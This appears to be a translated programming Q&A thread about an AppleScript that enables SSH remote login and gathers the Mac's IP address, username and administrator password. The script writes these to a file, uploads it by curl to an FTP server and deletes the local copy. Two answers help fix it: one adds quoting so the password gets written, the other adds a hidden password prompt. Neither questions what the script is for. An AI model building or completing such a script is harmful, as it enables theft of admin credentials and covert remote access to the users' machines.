0

我正在尝试将 3 个变量传递给一个发送到服务器的文本文件,但是我的一个变量(pword)没有被发送。

下面是我的代码:

    set pword to do shell script "echo" with administrator privileges

##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges

##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"

##Get username
set userName to short user name of (system info)

##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"

##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"

##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"

##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"

知道为什么只有 userName 和 tIP 被写入文本文件而不是 pword 吗?

谢谢。

4

2 回答 2

1

当您将东西发送到外壳时,您必须引用它们以确保它们作为一个整体发送......以防它们有空格或其他东西,外壳会将它们误认为是单独的而不是整体。所以我会试试这个...

do shell script "echo " & quoted form of (tIP & userName & pword) & " >> " & quoted form of ("/Users/" & userName & "/Documents/tests.txt")

请注意,您的一些其他代码也将受益于“引用的形式”,以确保您的代码面向未来。无论是否需要,使用它都是一种很好的编码习惯。

于 2013-08-09T19:42:48.210 回答
1

要获取密码,您应该使用:

set pword to text returned of (display dialog "Enter Password:" default answer "" with hidden answer)

Bash 很棒,但是除非您打算将整个事情变成一个 bash 脚本(看起来您实际上已经完成了),否则您不妨使用 AppleScript 的一些特权。

于 2013-08-11T01:10:59.010 回答